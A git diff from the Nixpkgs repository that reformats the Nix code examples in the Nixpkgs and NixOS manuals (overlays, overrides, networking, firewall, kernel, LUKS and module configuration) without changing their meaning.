     Note that `permittedInsecurePackages` is only checked if `allowInsecurePredicate` is not specified.
diff --git a/doc/using/overlays.chapter.md b/doc/using/overlays.chapter.md
index e1803786a9a7..a09c489667ff 100644
--- a/doc/using/overlays.chapter.md
+++ b/doc/using/overlays.chapter.md
@@ -48,12 +48,8 @@ Overlays are Nix functions which accept two arguments, conventionally called `se
 self: super:
 
 {
-  boost = super.boost.override {
-    python = self.python3;
-  };
-  rr = super.callPackage ./pkgs/rr {
-    stdenv = self.stdenv_32bit;
-  };
+  boost = super.boost.override { python = self.python3; };
+  rr = super.callPackage ./pkgs/rr { stdenv = self.stdenv_32bit; };
 }
 ```
 
@@ -99,13 +95,9 @@ Introduced in [PR #83888](https://github.com/NixOS/nixpkgs/pull/83888), we are a
 self: super:
 
 {
-  blas = super.blas.override {
-    blasProvider = self.mkl;
-  };
+  blas = super.blas.override { blasProvider = self.mkl; };
 
-  lapack = super.lapack.override {
-    lapackProvider = self.mkl;
-  };
+  lapack = super.lapack.override { lapackProvider = self.mkl; };
 }
 ```
 
@@ -123,13 +115,9 @@ To override `blas` and `lapack` with its reference implementations (i.e. for dev
 self: super:
 
 {
-  blas = super.blas.override {
-    blasProvider = self.lapack-reference;
-  };
+  blas = super.blas.override { blasProvider = self.lapack-reference; };
 
-  lapack = super.lapack.override {
-    lapackProvider = self.lapack-reference;
-  };
+  lapack = super.lapack.override { lapackProvider = self.lapack-reference; };
 }
 ```
 
diff --git a/doc/using/overrides.chapter.md b/doc/using/overrides.chapter.md
index 95190b44a500..19f6bcefa1cd 100644
--- a/doc/using/overrides.chapter.md
+++ b/doc/using/overrides.chapter.md
@@ -31,11 +31,7 @@ pkgs.foo.override (previous: {
 
 ```nix
 import pkgs.path {
-  overlays = [
-    (self: super: {
-      foo = super.foo.override { barSupport = true; };
-    })
-  ];
+  overlays = [ (self: super: { foo = super.foo.override { barSupport = true; }; }) ];
 }
 ```
 
@@ -67,9 +63,7 @@ Example usages:
 ```nix
 {
   helloBar = pkgs.hello.overrideAttrs (
-    finalAttrs: previousAttrs: {
-      pname = previousAttrs.pname + "-bar";
-    }
+    finalAttrs: previousAttrs: { pname = previousAttrs.pname + "-bar"; }
   );
 }
 ```
@@ -85,11 +79,7 @@ If only a one-argument function is written, the argument has the meaning of `pre
 Function arguments can be omitted entirely if there is no need to access `previousAttrs` or `finalAttrs`.
 
 ```nix
-{
-  helloWithDebug = pkgs.hello.overrideAttrs {
-    separateDebugInfo = true;
-  };
-}
+{ helloWithDebug = pkgs.hello.overrideAttrs { separateDebugInfo = true; }; }
 ```
 
 In the above example, the `separateDebugInfo` attribute is overridden to be true, thus building debug info for `helloWithDebug`.
diff --git a/maintainers/README.md b/maintainers/README.md
index 7f5b6ee6fcb6..313bee9411ee 100644
--- a/maintainers/README.md
+++ b/maintainers/README.md
@@ -79,14 +79,12 @@ checks should be performed:
 
   Given a maintainer entry like this:
 
-  ``` nix
+  ```nix
   {
     example = {
       email = "user@example.com";
       name = "Example User";
-      keys = [{
-        fingerprint = "0000 0000 2A70 6423 0AED  3C11 F04F 7A19 AAA6 3AFE";
-      }];
+      keys = [ { fingerprint = "0000 0000 2A70 6423 0AED  3C11 F04F 7A19 AAA6 3AFE"; } ];
     };
   }
   ```
diff --git a/nixos/doc/manual/administration/container-networking.section.md b/nixos/doc/manual/administration/container-networking.section.md
index 723cf211d872..1b665981a878 100644
--- a/nixos/doc/manual/administration/container-networking.section.md
+++ b/nixos/doc/manual/administration/container-networking.section.md
@@ -28,7 +28,7 @@ can be accomplished using the following configuration on the host:
 ```nix
 {
   networking.nat.enable = true;
-  networking.nat.internalInterfaces = ["ve-+"];
+  networking.nat.internalInterfaces = [ "ve-+" ];
   networking.nat.externalInterface = "eth0";
 }
 ```
@@ -40,9 +40,7 @@ If you are using Network Manager, you need to explicitly prevent it from
 managing container interfaces:
 
 ```nix
-{
-  networking.networkmanager.unmanaged = [ "interface-name:ve-*" ];
-}
+{ networking.networkmanager.unmanaged = [ "interface-name:ve-*" ]; }
 ```
 
 You may need to restart your system for the changes to take effect.
diff --git a/nixos/doc/manual/administration/control-groups.chapter.md b/nixos/doc/manual/administration/control-groups.chapter.md
index 8682236ca1a9..33939f8a1ee3 100644
--- a/nixos/doc/manual/administration/control-groups.chapter.md
+++ b/nixos/doc/manual/administration/control-groups.chapter.md
@@ -39,9 +39,7 @@ they were in the same cgroup, then the PostgreSQL process would get
 `configuration.nix`:
 
 ```nix
-{
-  systemd.services.httpd.serviceConfig.CPUShares = 512;
-}
+{ systemd.services.httpd.serviceConfig.CPUShares = 512; }
 ```
 
 By default, every cgroup has 1024 CPU shares, so this will halve the CPU
@@ -54,9 +52,7 @@ limits can be specified in `configuration.nix`; for instance, to limit
 `httpd.service` to 512 MiB of RAM (excluding swap):
 
 ```nix
-{
-  systemd.services.httpd.serviceConfig.MemoryLimit = "512M";
-}
+{ systemd.services.httpd.serviceConfig.MemoryLimit = "512M"; }
 ```
 
 The command `systemd-cgtop` shows a continuously updated list of all
diff --git a/nixos/doc/manual/administration/declarative-containers.section.md b/nixos/doc/manual/administration/declarative-containers.section.md
index f16fa8332b51..9aeb4beeafbf 100644
--- a/nixos/doc/manual/administration/declarative-containers.section.md
+++ b/nixos/doc/manual/administration/declarative-containers.section.md
@@ -6,13 +6,14 @@ shall be a container named `database` running PostgreSQL:
 
 ```nix
 {
-  containers.database =
-    { config =
-        { config, pkgs, ... }:
-        { services.postgresql.enable = true;
+  containers.database = {
+    config =
+      { config, pkgs, ... }:
+      {
+        services.postgresql.enable = true;
         services.postgresql.package = pkgs.postgresql_14;
-        };
-    };
+      };
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/administration/service-mgmt.chapter.md b/nixos/doc/manual/administration/service-mgmt.chapter.md
index 49e8d801fb80..faea7bf066b3 100644
--- a/nixos/doc/manual/administration/service-mgmt.chapter.md
+++ b/nixos/doc/manual/administration/service-mgmt.chapter.md
@@ -82,9 +82,7 @@ In order to enable a systemd *system* service with provided upstream
 package, use (e.g):
 
 ```nix
-{
-  systemd.packages = [ pkgs.packagekit ];
-}
+{ systemd.packages = [ pkgs.packagekit ]; }
 ```
 
 Usually NixOS modules written by the community do the above, plus take
diff --git a/nixos/doc/manual/configuration/abstractions.section.md b/nixos/doc/manual/configuration/abstractions.section.md
index 3ff8ac885b65..3294e4d6558b 100644
--- a/nixos/doc/manual/configuration/abstractions.section.md
+++ b/nixos/doc/manual/configuration/abstractions.section.md
@@ -4,37 +4,37 @@ If you find yourself repeating yourself over and over, it’s time to abstract.
 
 ```nix
 {
-  services.httpd.virtualHosts =
-    { "blog.example.org" = {
-        documentRoot = "/webroot/blog.example.org";
-        adminAddr = "alice@example.org";
-        forceSSL = true;
-        enableACME = true;
-      };
-      "wiki.example.org" = {
-        documentRoot = "/webroot/wiki.example.org";
-        adminAddr = "alice@example.org";
-        forceSSL = true;
-        enableACME = true;
-      };
+  services.httpd.virtualHosts = {
+    "blog.example.org" = {
+      documentRoot = "/webroot/blog.example.org";
+      adminAddr = "alice@example.org";
+      forceSSL = true;
+      enableACME = true;
     };
+    "wiki.example.org" = {
+      documentRoot = "/webroot/wiki.example.org";
+      adminAddr = "alice@example.org";
+      forceSSL = true;
+      enableACME = true;
+    };
+  };
 }
 ```
 
 It defines two virtual hosts with nearly identical configuration; the only difference is the document root directories. To prevent this duplication, we can use a `let`:
 ```nix
 let
-  commonConfig =
-    { adminAddr = "alice@example.org";
-      forceSSL = true;
-      enableACME = true;
-    };
+  commonConfig = {
+    adminAddr = "alice@example.org";
+    forceSSL = true;
+    enableACME = true;
+  };
 in
 {
-  services.httpd.virtualHosts =
-    { "blog.example.org" = (commonConfig // { documentRoot = "/webroot/blog.example.org"; });
-      "wiki.example.org" = (commonConfig // { documentRoot = "/webroot/wiki.example.org"; });
-    };
+  services.httpd.virtualHosts = {
+    "blog.example.org" = (commonConfig // { documentRoot = "/webroot/blog.example.org"; });
+    "wiki.example.org" = (commonConfig // { documentRoot = "/webroot/wiki.example.org"; });
+  };
 }
 ```
 
@@ -45,9 +45,24 @@ You can write a `let` wherever an expression is allowed. Thus, you also could ha
 ```nix
 {
   services.httpd.virtualHosts =
-    let commonConfig = { /* ... */ }; in
-    { "blog.example.org" = (commonConfig // { /* ... */ });
-      "wiki.example.org" = (commonConfig // { /* ... */ });
+    let
+      commonConfig = {
+        # ...
+      };
+    in
+    {
+      "blog.example.org" = (
+        commonConfig
+        // {
+          # ...
+        }
+      );
+      "wiki.example.org" = (
+        commonConfig
+        // {
+          # ...
+        }
+      );
     };
 }
 ```
@@ -60,18 +75,19 @@ but not `{ let commonConfig = ...; in ...; }` since attributes (as opposed to at
 {
   services.httpd.virtualHosts =
     let
-      makeVirtualHost = webroot:
-        { documentRoot = webroot;
-          adminAddr = "alice@example.org";
-          forceSSL = true;
-          enableACME = true;
-        };
-    in
-      { "example.org" = (makeVirtualHost "/webroot/example.org");
-        "example.com" = (makeVirtualHost "/webroot/example.com");
-        "example.gov" = (makeVirtualHost "/webroot/example.gov");
-        "example.nl" = (makeVirtualHost "/webroot/example.nl");
+      makeVirtualHost = webroot: {
+        documentRoot = webroot;
+        adminAddr = "alice@example.org";
+        forceSSL = true;
+        enableACME = true;
       };
+    in
+    {
+      "example.org" = (makeVirtualHost "/webroot/example.org");
+      "example.com" = (makeVirtualHost "/webroot/example.com");
+      "example.gov" = (makeVirtualHost "/webroot/example.gov");
+      "example.nl" = (makeVirtualHost "/webroot/example.nl");
+    };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/ad-hoc-network-config.section.md b/nixos/doc/manual/configuration/ad-hoc-network-config.section.md
index ecb06ad984a3..7ef24825526d 100644
--- a/nixos/doc/manual/configuration/ad-hoc-network-config.section.md
+++ b/nixos/doc/manual/configuration/ad-hoc-network-config.section.md
@@ -7,9 +7,8 @@ modules. For instance, to statically configure an IPv6 address:
 
 ```nix
 {
-  networking.localCommands =
-    ''
-      ip -6 addr add 2001:610:685:1::1/64 dev eth0
-    '';
+  networking.localCommands = ''
+    ip -6 addr add 2001:610:685:1::1/64 dev eth0
+  '';
 }
 ```
diff --git a/nixos/doc/manual/configuration/adding-custom-packages.section.md b/nixos/doc/manual/configuration/adding-custom-packages.section.md
index abb2f9cc31ea..221f4ad526cc 100644
--- a/nixos/doc/manual/configuration/adding-custom-packages.section.md
+++ b/nixos/doc/manual/configuration/adding-custom-packages.section.md
@@ -23,9 +23,7 @@ Then you write and test the package as described in the Nixpkgs manual.
 Finally, you add it to [](#opt-environment.systemPackages), e.g.
 
 ```nix
-{
-  environment.systemPackages = [ pkgs.my-package ];
-}
+{ environment.systemPackages = [ pkgs.my-package ]; }
 ```
 
 and you run `nixos-rebuild`, specifying your own Nixpkgs tree:
@@ -43,13 +41,15 @@ tree. For instance, here is how you specify a build of the
 {
   environment.systemPackages =
     let
-      my-hello = with pkgs; stdenv.mkDerivation rec {
-        name = "hello-2.8";
-        src = fetchurl {
-          url = "mirror://gnu/hello/${name}.tar.gz";
-          hash = "sha256-5rd/gffPfa761Kn1tl3myunD8TuM+66oy1O7XqVGDXM=";
+      my-hello =
+        with pkgs;
+        stdenv.mkDerivation rec {
+          name = "hello-2.8";
+          src = fetchurl {
+            url = "mirror://gnu/hello/${name}.tar.gz";
+            hash = "sha256-5rd/gffPfa761Kn1tl3myunD8TuM+66oy1O7XqVGDXM=";
+          };
         };
-      };
     in
     [ my-hello ];
 }
@@ -59,15 +59,13 @@ Of course, you can also move the definition of `my-hello` into a
 separate Nix expression, e.g.
 
 ```nix
-{
-  environment.systemPackages = [ (import ./my-hello.nix) ];
-}
+{ environment.systemPackages = [ (import ./my-hello.nix) ]; }
 ```
 
 where `my-hello.nix` contains:
 
 ```nix
-with import <nixpkgs> {}; # bring all of Nixpkgs into scope
+with import <nixpkgs> { }; # bring all of Nixpkgs into scope
 
 stdenv.mkDerivation rec {
   name = "hello-2.8";
diff --git a/nixos/doc/manual/configuration/config-file.section.md b/nixos/doc/manual/configuration/config-file.section.md
index e213aae29ae3..f09e7c0f03f1 100644
--- a/nixos/doc/manual/configuration/config-file.section.md
+++ b/nixos/doc/manual/configuration/config-file.section.md
@@ -5,7 +5,8 @@ The NixOS configuration file generally looks like this:
 ```nix
 { config, pkgs, ... }:
 
-{ /* option definitions */
+{
+  # option definitions
 }
 ```
 
@@ -19,7 +20,8 @@ name of an option and `value` is its value. For example,
 ```nix
 { config, pkgs, ... }:
 
-{ services.httpd.enable = true;
+{
+  services.httpd.enable = true;
   services.httpd.adminAddr = "alice@example.org";
   services.httpd.virtualHosts.localhost.documentRoot = "/webroot";
 }
@@ -38,7 +40,8 @@ example above can also be written as:
 ```nix
 { config, pkgs, ... }:
 
-{ services = {
+{
+  services = {
     httpd = {
       enable = true;
       adminAddr = "alice@example.org";
diff --git a/nixos/doc/manual/configuration/customizing-packages.section.md b/nixos/doc/manual/configuration/customizing-packages.section.md
index db7a6c60fade..a462781f6fa6 100644
--- a/nixos/doc/manual/configuration/customizing-packages.section.md
+++ b/nixos/doc/manual/configuration/customizing-packages.section.md
@@ -41,14 +41,14 @@ You can use them like this:
 {
   environment.systemPackages = with pkgs; [
     sl
-    (pass.withExtensions (subpkgs: with subpkgs; [
-      pass-audit
-      pass-otp
-      pass-genphrase
-    ]))
-    (python3.withPackages (subpkgs: with subpkgs; [
-        requests
-    ]))
+    (pass.withExtensions (
+      subpkgs: with subpkgs; [
+        pass-audit
+        pass-otp
+        pass-genphrase
+      ]
+    ))
+    (python3.withPackages (subpkgs: with subpkgs; [ requests ]))
     cowsay
   ];
 }
@@ -62,9 +62,7 @@ dependency on GTK 2. If you want to build it against GTK 3, you can
 specify that as follows:
 
 ```nix
-{
-  environment.systemPackages = [ (pkgs.emacs.override { gtk = pkgs.gtk3; }) ];
-}
+{ environment.systemPackages = [ (pkgs.emacs.override { gtk = pkgs.gtk3; }) ]; }
 ```
 
 The function `override` performs the call to the Nix function that
@@ -109,9 +107,9 @@ your customised instance, you can apply a *global* override as follows:
 
 ```nix
 {
-  nixpkgs.config.packageOverrides = pkgs:
-    { emacs = pkgs.emacs.override { gtk = pkgs.gtk3; };
-    };
+  nixpkgs.config.packageOverrides = pkgs: {
+    emacs = pkgs.emacs.override { gtk = pkgs.gtk3; };
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/declarative-packages.section.md b/nixos/doc/manual/configuration/declarative-packages.section.md
index 6cdd520dcf15..842862e4bac2 100644
--- a/nixos/doc/manual/configuration/declarative-packages.section.md
+++ b/nixos/doc/manual/configuration/declarative-packages.section.md
@@ -7,9 +7,7 @@ following line to `configuration.nix` enables the Mozilla Thunderbird
 email application:
 
 ```nix
-{
-  environment.systemPackages = [ pkgs.thunderbird ];
-}
+{ environment.systemPackages = [ pkgs.thunderbird ]; }
 ```
 
 The effect of this specification is that the Thunderbird package from
diff --git a/nixos/doc/manual/configuration/file-systems.chapter.md b/nixos/doc/manual/configuration/file-systems.chapter.md
index 4bdd9c60e327..8a63a2b849cd 100644
--- a/nixos/doc/manual/configuration/file-systems.chapter.md
+++ b/nixos/doc/manual/configuration/file-systems.chapter.md
@@ -7,10 +7,10 @@ point `/data`:
 
 ```nix
 {
-  fileSystems."/data" =
-    { device = "/dev/disk/by-label/data";
-      fsType = "ext4";
-    };
+  fileSystems."/data" = {
+    device = "/dev/disk/by-label/data";
+    fsType = "ext4";
+  };
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/firewall.section.md b/nixos/doc/manual/configuration/firewall.section.md
index 9a71217944ee..beb7ebe54172 100644
--- a/nixos/doc/manual/configuration/firewall.section.md
+++ b/nixos/doc/manual/configuration/firewall.section.md
@@ -5,9 +5,7 @@ and other unexpected packets. The firewall applies to both IPv4 and IPv6
 traffic. It is enabled by default. It can be disabled as follows:
 
 ```nix
-{
-  networking.firewall.enable = false;
-}
+{ networking.firewall.enable = false; }
 ```
 
 If the firewall is enabled, you can open specific TCP ports to the
@@ -15,7 +13,10 @@ outside world:
 
 ```nix
 {
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
 }
 ```
 
@@ -28,8 +29,14 @@ To open ranges of TCP ports:
 ```nix
 {
   networking.firewall.allowedTCPPortRanges = [
-    { from = 4000; to = 4007; }
-    { from = 8000; to = 8010; }
+    {
+      from = 4000;
+      to = 4007;
+    }
+    {
+      from = 8000;
+      to = 8010;
+    }
   ];
 }
 ```
diff --git a/nixos/doc/manual/configuration/gpu-accel.chapter.md b/nixos/doc/manual/configuration/gpu-accel.chapter.md
index 39c5abffb5c2..2cbf2c51bb70 100644
--- a/nixos/doc/manual/configuration/gpu-accel.chapter.md
+++ b/nixos/doc/manual/configuration/gpu-accel.chapter.md
@@ -55,11 +55,7 @@ supported through the rocmPackages.clr.icd package. Adding this package to
 enables OpenCL support:
 
 ```nix
-{
-  hardware.graphics.extraPackages = [
-    rocmPackages.clr.icd
-  ];
-}
+{ hardware.graphics.extraPackages = [ rocmPackages.clr.icd ]; }
 ```
 
 ### Intel {#sec-gpu-accel-opencl-intel}
@@ -75,11 +71,7 @@ to enable OpenCL support. For example, for Gen12 and later GPUs, the following
 configuration can be used:
 
 ```nix
-{
-  hardware.graphics.extraPackages = [
-    intel-compute-runtime
-  ];
-}
+{ hardware.graphics.extraPackages = [ intel-compute-runtime ]; }
 ```
 
 ## Vulkan {#sec-gpu-accel-vulkan}
@@ -145,20 +137,15 @@ A specific driver can be forced as follows:
 
 ```nix
 {
-  hardware.graphics.extraPackages = [
-    pkgs.amdvlk
-  ];
+  hardware.graphics.extraPackages = [ pkgs.amdvlk ];
 
   # To enable Vulkan support for 32-bit applications, also add:
-  hardware.graphics.extraPackages32 = [
-    pkgs.driversi686Linux.amdvlk
-  ];
+  hardware.graphics.extraPackages32 = [ pkgs.driversi686Linux.amdvlk ];
 
   # Force radv
   environment.variables.AMD_VULKAN_ICD = "RADV";
   # Or
-  environment.variables.VK_ICD_FILENAMES =
-    "/run/opengl-driver/share/vulkan/icd.d/radeon_icd.x86_64.json";
+  environment.variables.VK_ICD_FILENAMES = "/run/opengl-driver/share/vulkan/icd.d/radeon_icd.x86_64.json";
 }
 ```
 
@@ -183,21 +170,13 @@ $ nix-shell -p libva-utils --run vainfo
 Modern Intel GPUs use the iHD driver, which can be installed with:
 
 ```nix
-{
-  hardware.graphics.extraPackages = [
-    intel-media-driver
-  ];
-}
+{ hardware.graphics.extraPackages = [ intel-media-driver ]; }
 ```
 
 Older Intel GPUs use the i965 driver, which can be installed with:
 
 ```nix
-{
-  hardware.graphics.extraPackages = [
-    intel-vaapi-driver
-  ];
-}
+{ hardware.graphics.extraPackages = [ intel-vaapi-driver ]; }
 ```
 
 ## Common issues {#sec-gpu-accel-common-issues}
diff --git a/nixos/doc/manual/configuration/ipv4-config.section.md b/nixos/doc/manual/configuration/ipv4-config.section.md
index 0464f5389855..ed0db9da8c3e 100644
--- a/nixos/doc/manual/configuration/ipv4-config.section.md
+++ b/nixos/doc/manual/configuration/ipv4-config.section.md
@@ -6,10 +6,12 @@ manually as follows:
 
 ```nix
 {
-  networking.interfaces.eth0.ipv4.addresses = [ {
-    address = "192.168.1.2";
-    prefixLength = 24;
-  } ];
+  networking.interfaces.eth0.ipv4.addresses = [
+    {
+      address = "192.168.1.2";
+      prefixLength = 24;
+    }
+  ];
 }
 ```
 
@@ -32,9 +34,7 @@ configuration is performed by `network-setup.service`.
 The host name is set using [](#opt-networking.hostName):
 
 ```nix
-{
-  networking.hostName = "cartman";
-}
+{ networking.hostName = "cartman"; }
 ```
 
 The default host name is `nixos`. Set it to the empty string (`""`) to
diff --git a/nixos/doc/manual/configuration/ipv6-config.section.md b/nixos/doc/manual/configuration/ipv6-config.section.md
index b4fe0d759b8a..c14da4d2a51d 100644
--- a/nixos/doc/manual/configuration/ipv6-config.section.md
+++ b/nixos/doc/manual/configuration/ipv6-config.section.md
@@ -9,18 +9,14 @@ may be overridden on a per-interface basis by
 IPv6 support globally by setting:
 
 ```nix
-{
-  networking.enableIPv6 = false;
-}
+{ networking.enableIPv6 = false; }
 ```
 
 You can disable IPv6 on a single interface using a normal sysctl (in
 this example, we use interface `eth0`):
 
 ```nix
-{
-  boot.kernel.sysctl."net.ipv6.conf.eth0.disable_ipv6" = true;
-}
+{ boot.kernel.sysctl."net.ipv6.conf.eth0.disable_ipv6" = true; }
 ```
 
 As with IPv4 networking interfaces are automatically configured via
@@ -28,10 +24,12 @@ DHCPv6. You can configure an interface manually:
 
 ```nix
 {
-  networking.interfaces.eth0.ipv6.addresses = [ {
-    address = "fe00:aa:bb:cc::2";
-    prefixLength = 64;
-  } ];
+  networking.interfaces.eth0.ipv6.addresses = [
+    {
+      address = "fe00:aa:bb:cc::2";
+      prefixLength = 64;
+    }
+  ];
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/kubernetes.chapter.md b/nixos/doc/manual/configuration/kubernetes.chapter.md
index e9855af19add..522dc9b3b67b 100644
--- a/nixos/doc/manual/configuration/kubernetes.chapter.md
+++ b/nixos/doc/manual/configuration/kubernetes.chapter.md
@@ -24,17 +24,13 @@ the host. This enables apiserver, controllerManager, scheduler,
 addonManager, kube-proxy and etcd:
 
 ```nix
-{
-  services.kubernetes.roles = [ "master" ];
-}
+{ services.kubernetes.roles = [ "master" ]; }
 ```
 
 While this will enable the kubelet and kube-proxy only:
 
 ```nix
-{
-  services.kubernetes.roles = [ "node" ];
-}
+{ services.kubernetes.roles = [ "node" ]; }
 ```
 
 Assigning both the master and node roles is usable if you want a single
@@ -42,7 +38,10 @@ node Kubernetes cluster for dev or testing purposes:
 
 ```nix
 {
-  services.kubernetes.roles = [ "master" "node" ];
+  services.kubernetes.roles = [
+    "master"
+    "node"
+  ];
 }
 ```
 
diff --git a/nixos/doc/manual/configuration/linux-kernel.chapter.md b/nixos/doc/manual/configuration/linux-kernel.chapter.md
index 4aeda5f46764..dcd47e0126e0 100644
--- a/nixos/doc/manual/configuration/linux-kernel.chapter.md
+++ b/nixos/doc/manual/configuration/linux-kernel.chapter.md
@@ -5,9 +5,7 @@ option `boot.kernelPackages`. For instance, this selects the Linux 3.10
 kernel:
 
 ```nix
-{
-  boot.kernelPackages = pkgs.linuxKernel.packages.linux_3_10;
-}
+{ boot.kernelPackages = pkgs.linuxKernel.packages.linux_3_10; }
 ```
 
 Note that this not only replaces the kernel, but also packages that are
@@ -43,13 +41,15 @@ instance, to enable support for the kernel debugger KGDB:
 
 ```nix
 {
-  nixpkgs.config.packageOverrides = pkgs: pkgs.lib.recursiveUpdate pkgs {
-    linuxKernel.kernels.linux_5_10 = pkgs.linuxKernel.kernels.linux_5_10.override {
-      extraConfig = ''
-        KGDB y
-      '';
+  nixpkgs.config.packageOverrides =
+    pkgs:
+    pkgs.lib.recursiveUpdate pkgs {
+      linuxKernel.kernels.linux_5_10 = pkgs.linuxKernel.kernels.linux_5_10.override {
+        extraConfig = ''
+          KGDB y
+        '';
+      };
     };
-  };
 }
 ```
 
@@ -64,7 +64,11 @@ by `udev`. You can force a module to be loaded via
 
 ```nix
 {
-  boot.kernelModules = [ "fuse" "kvm-intel" "coretemp" ];
+  boot.kernelModules = [
+    "fuse"
+    "kvm-intel"
+    "coretemp"
+  ];
 }
 ```
 
@@ -72,9 +76,7 @@ If the module is required early during the boot (e.g. to mount the root
 file system), you can use [](#opt-boot.initrd.kernelModules):
 
 ```nix
-{
-  boot.initrd.kernelModules = [ "cifs" ];
-}
+{ boot.initrd.kernelModules = [ "cifs" ]; }
 ```
 
 This causes the specified modules and their dependencies to be added to
@@ -84,9 +86,7 @@ Kernel runtime parameters can be set through
 [](#opt-boot.kernel.sysctl), e.g.
 
 ```nix
-{
-  boot.kernel.sysctl."net.ipv4.tcp_keepalive_time" = 120;
-}
+{ boot.kernel.sysctl."net.ipv4.tcp_keepalive_time" = 120; }
 ```
 
 sets the kernel's TCP keepalive time to 120 seconds. To see the
@@ -99,9 +99,7 @@ Please refer to the Nixpkgs manual for the various ways of [building a custom ke
 To use your custom kernel package in your NixOS configuration, set
 
 ```nix
-{
-  boot.kernelPackages = pkgs.linuxPackagesFor yourCustomKernel;
-}
+{ boot.kernelPackages = pkgs.linuxPackagesFor yourCustomKernel; }
 ```
 
 ## Rust {#sec-linux-rust}
diff --git a/nixos/doc/manual/configuration/luks-file-systems.section.md b/nixos/doc/manual/configuration/luks-file-systems.section.md
index a1d22f34e920..e78ce819be7f 100644
--- a/nixos/doc/manual/configuration/luks-file-systems.section.md
+++ b/nixos/doc/manual/configuration/luks-file-systems.section.md
@@ -39,9 +39,7 @@ Should grub be used as bootloader, and `/boot` is located on an
 encrypted partition, it is necessary to add the following grub option:
 
 ```nix
-{
-  boot.loader.grub.enableCryptodisk = true;
-}
+{ boot.loader.grub.enableCryptodisk = true; }
 ```
 
 ## FIDO2 {#sec-luks-file-systems-fido2}
@@ -74,7 +72,8 @@ key, add the following to `configuration.nix`:
 ```nix
 {
   boot.initrd.luks.fido2Support = true;
-  boot.initrd.luks.devices."/dev/sda2".fido2.credential = "f1d00200108b9d6e849a8b388da457688e3dd653b4e53770012d8f28e5d3b269865038c346802f36f3da7278b13ad6a3bb6a1452e24ebeeaa24ba40eef559b1b287d2a2f80b7";
+  boot.initrd.luks.devices."/dev/sda2".fido2.credential =
+    "f1d00200108b9d6e849a8b388da457688e3dd653b4e53770012d8f28e5d3b269865038c346802f36f3da7278b13ad6a3bb6a1452e24ebeeaa24ba40eef559b1b287d2a2f80b7";
 }
 ```
 
@@ -83,9 +82,7 @@ you might want to enable it only when your device is PIN protected, such
 as [Trezor](https://trezor.io/).
 
 ```nix
-{
-  boot.initrd.luks.devices."/dev/sda2".fido2.passwordLess = true;
-}
+{ boot.initrd.luks.devices."/dev/sda2".fido2.passwordLess = true; }
 ```
 
 ### systemd Stage 1 {#sec-luks-file-systems-fido2-systemd}
diff --git a/nixos/doc/manual/configuration/mattermost.chapter.md b/nixos/doc/manual/configuration/mattermost.chapter.md
index 801475ce5a15..a7c3c1554efc 100644
--- a/nixos/doc/manual/configuration/mattermost.chapter.md
+++ b/nixos/doc/manual/configuration/mattermost.chapter.md
@@ -71,11 +71,9 @@ Here is an example with a prebuilt plugin tarball:
 {
   services.mattermost = {
     plugins = with pkgs; [
-      /*
-       * todo
-       * 0.7.1
-       * https://github.com/mattermost/mattermost-plugin-todo/releases/tag/v0.7.1
-       */
+      # todo
+      # 0.7.1
+      # https://github.com/mattermost/mattermost-plugin-todo/releases/tag/v0.7.1
       (fetchurl {
         # Note: Don't unpack the tarball; the NixOS module will repack it for you.
         url = "https://github.com/mattermost-community/mattermost-plugin-todo/releases/download/v0.7.1/com.mattermost.plugin-todo-0.7.1.tar.gz";
diff --git a/nixos/doc/manual/configuration/modularity.section.md b/nixos/doc/manual/configuration/modularity.section.md
index ba3bc79a3631..5ae4f5b56331 100644
--- a/nixos/doc/manual/configuration/modularity.section.md
+++ b/nixos/doc/manual/configuration/modularity.section.md
@@ -13,7 +13,11 @@ including them from `configuration.nix`, e.g.:
 ```nix
 { config, pkgs, ... }:
 
-{ imports = [ ./vpn.nix ./kde.nix ];
+{
+  imports = [
+    ./vpn.nix
+    ./kde.nix
+  ];
   services.httpd.enable = true;
   environment.systemPackages = [ pkgs.emacs ];
   # ...
@@ -26,7 +30,8 @@ Here, we include two modules from the same directory, `vpn.nix` and
 ```nix
 { config, pkgs, ... }:
 
-{ services.xserver.enable = true;
+{
+  services.xserver.enable = true;
   services.displayManager.sddm.enable = true;
   services.xserver.desktopManager.plasma5.enable = true;
   environment.systemPackages = [ pkgs.vim ];
@@ -42,9 +47,7 @@ merged last, so for list-type options, it will appear at the end of the
 merged list. If you want it to appear first, you can use `mkBefore`:
 
 ```nix
-{
-  boot.kernelModules = mkBefore [ "kvm-intel" ];
-}
+{ boot.kernelModules = mkBefore [ "kvm-intel" ]; }
 ```
 
 This causes the `kvm-intel` kernel module to be loaded before any other
@@ -62,9 +65,7 @@ When that happens, it's possible to force one definition take precedence
 over the others:
 
 ```nix
-{
-  services.httpd.adminAddr = pkgs.lib.mkForce "bob@example.org";
-}
+{ services.httpd.adminAddr = pkgs.lib.mkForce "bob@example.org"; }
 ```
 
 When using multiple modules, you may need to access configuration values
@@ -84,9 +85,11 @@ For example, here is a module that adds some packages to
 ```nix
 { config, pkgs, ... }:
 
-{ environment.systemPackages =
+{
+  environment.systemPackages =
     if config.services.xserver.enable then
-      [ pkgs.firefox
+      [
+        pkgs.firefox
         pkgs.thunderbird
       ]
     else
@@ -126,12 +129,14 @@ have the same effect as importing a file which sets those options.
 ```nix
 { config, pkgs, ... }:
 
-let netConfig = hostName: {
-  networking.hostName = hostName;
-  networking.useDHCP = false;
-};
+let
+  netConfig = hostName: {
+    networking.hostName = hostName;
+    networking.useDHCP = false;
+  };
 
 in
-
-{ imports = [ (netConfig "nixos.localdomain") ]; }
+{
+  imports = [ (netConfig "nixos.localdomain") ];
+}
 ```
diff --git a/nixos/doc/manual/configuration/network-manager.section.md b/nixos/doc/manual/configuration/network-manager.section.md
index 8e8dfabbf3cd..104acd7078ae 100644
--- a/nixos/doc/manual/configuration/network-manager.section.md
+++ b/nixos/doc/manual/configuration/network-manager.section.md
@@ -4,9 +4,7 @@ To facilitate network configuration, some desktop environments use
 NetworkManager. You can enable NetworkManager by setting:
 
 ```nix
-{
-  networking.networkmanager.enable = true;
-}
+{ networking.networkmanager.enable = true; }
 ```
 
 some desktop managers (e.g., GNOME) enable NetworkManager automatically
@@ -16,9 +14,7 @@ All users that should have permission to change network settings must
 belong to the `networkmanager` group:
 
 ```nix
-{
-  users.users.alice.extraGroups = [ "networkmanager" ];
-}
